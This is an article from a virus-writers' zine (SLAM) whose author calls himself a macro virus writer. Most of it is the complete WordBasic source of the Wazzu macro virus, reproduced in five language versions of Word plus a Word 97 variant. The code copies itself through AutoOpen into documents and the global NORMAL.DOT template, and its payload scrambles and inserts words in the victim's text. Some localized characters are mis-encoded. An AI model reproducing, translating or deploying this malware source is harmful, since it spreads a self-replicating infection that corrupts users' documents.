Copy Link
Add to Bookmark
Report
SLAM3.020: AROUND THE WAZZU'S WORLD by DarkSide1 [SLAM]
AROUND THE WAZZU'S WORLD
If you have only the M$-Word english version and you will like see the WordBasic code of a know macrovirus under other language version of Word, then this article is for you! ;-)
I still remember the day when Wazzu spread in my Word's document ;)
When I used the Tools/Macro (Herramientas/Macro of my Word spanish version) I saw the macro called AutoOpen then selected it and saw the code in Spanish WordBasic. Cool ;))
__________________________________
| |
| English Version |
|__________________________________|
Sub MAIN
On Error Goto errCaught
FileSummaryInfo .Update
Dim dlg As FileSummaryInfo
GetCurValues dlg
fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
MacroCopy globMacro$, fileMacro$
FileSaveAs .Format = 1
Else
MacroCopy fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
SelectCurWord
selWord$ = Selection$()
DeleteWord
RndWord
Insert selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
Insert "wazzu "
StartOfDocument
End If
End Sub
Sub RndWord
FileSummaryInfo .Update
Dim dlg As DocumentStatistics
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Words))
StartOfDocument
WordRight wordNum
End Sub
__________________________________
| |
| Spanish Version |
|__________________________________|
Sub MAIN
On Error Goto errCaught
ArchivoResumen .Actualizar
Dim dlg As ArchivoResumen
GetCurValues dlg
fileMacro$ = dlg.Directorio + "\" + dlg.NombreDeArchivo + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
MacroCopiar globMacro$, fileMacro$
ArchivoGuardarComo .Formato = 1
Else
MacroCopiar fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
SelecPalabraActual
selWord$ = Selecci¢n$()
EliminarPalabra
RndWord
Insertar selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
Insertar "wazzu "
PrincipioDeDocumento
End If
End Sub
Sub RndWord
ArchivoResumen .Actualizar
Dim dlg As Estad°sticasDocumento
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Palabras))
PrincipioDeDocumento
PalabraDerecha wordNum
End Sub
__________________________________
| |
| German Version |
|__________________________________|
Sub MAIN
On Error Goto errCaught
DateiDateiInfo .Aktualisieren
Dim dlg As DateiDateiInfo
GetCurValues dlg
fileMacro$ = dlg.Verzeichnis + "\" + dlg.DateiName + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(MakroDateiName$(MakroName$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
MakroKopieren globMacro$, fileMacro$
DateiSpeichernUnter .Format = 1
Else
MakroKopieren fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
MarkierungAktuellWort
selWord$ = Markierung$()
WortLîschen
RndWord
EinfÅgen selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
EinfÅgen "wazzu "
BeginnDokument
End If
End Sub
Sub RndWord
DateiDateiInfo .Aktualisieren
Dim dlg As DokumentStatistik
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Wîrter))
BeginnDokument
WortRechts wordNum
End Sub
__________________________________
| |
| French Version |
|__________________________________|
Sub MAIN
On Error Goto errCaught
FichierRÇsumÇ .MiseAJour
Dim dlg As FichierRÇsumÇ
GetCurValues dlg
fileMacro$ = dlg.RÇpertoire + "\" + dlg.NomFichier + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(NomFichierMacro$(NomMacro$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
MacroCopie globMacro$, fileMacro$
FichierEnregistrerSous .Format = 1
Else
MacroCopie fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
SÈlectionnerMotCour
selWord$ = SÈlection$()
SupprimerMot
RndWord
Insertion selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
Insertion "wazzu "
DÇbutDocument
End If
End Sub
Sub RndWord
FichierRÇsumÇ .MiseAJour
Dim dlg As StatistiquesDocument
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Mots))
DÈbutDocument
MotDroite wordNum
End Sub
__________________________________
| |
| Italian Version |
|__________________________________|
Sub MAIN
On Error Goto errCaught
FileRiepilogoInfo .UltimoAggiornamento
Dim dlg As FileRiepilogoInfo
GetCurValues dlg
fileMacro$ = dlg.Directory + "\" + dlg.NomeFile + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(MacroFileName$(NomeMacro$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
CopiaMacro globMacro$, fileMacro$
FileSalvaConNome .Formato = 1
Else
CopiaMacro fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
SelectCurWord
selWord$ = Selezione$()
EliminaParola
RndWord
Inserisci selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
Inserisci "wazzu "
InizioDocumento
End If
End Sub
Sub RndWord
FileRiepilogoInfo .UltimoAggiornamento
Dim dlg As StatisticheDoc
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Parole))
InizioDocumento
ParolaDestra wordNum
End Sub
__________________________________
| |
| Chinese Version |
|__________________________________|
#@@$#$#$#%$%&*&(*&(*(!@!~!
Oops! I don't have chinese version! ;-)))))
Plus!!:
__________________________________
| |
| Word 97 Wazzu.C Version |
|__________________________________|
Public Sub MAIN()
Dim fileMacro$
Dim globMacro$
Dim MacroFile$
On Error GoTo -1: On Error GoTo errCaught
WordBasic.FileSummaryInfo Update:=1
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dlg
fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
WordBasic.MacroCopy globMacro$, fileMacro$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy fileMacro$, globMacro$
End If
GoTo bye
errCaught:
bye:
On Error GoTo -1: On Error GoTo 0
End Sub
Private Sub RndWord()
Dim wordNum
WordBasic.FileSummaryInfo Update:=1
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.DocumentStatistics(False)
WordBasic.CurValues.DocumentStatistics dlg
wordNum = WordBasic.Int(Rnd() * WordBasic.Val(dlg.Words))
WordBasic.StartOfDocument
WordBasic.WordRight wordNum
End Sub
See the article about "Word 97 Appder Virus Analysis" for other information
about macrovirus for Word 97.
DarkSide1[SLAM]
MacroVirus Writer/Research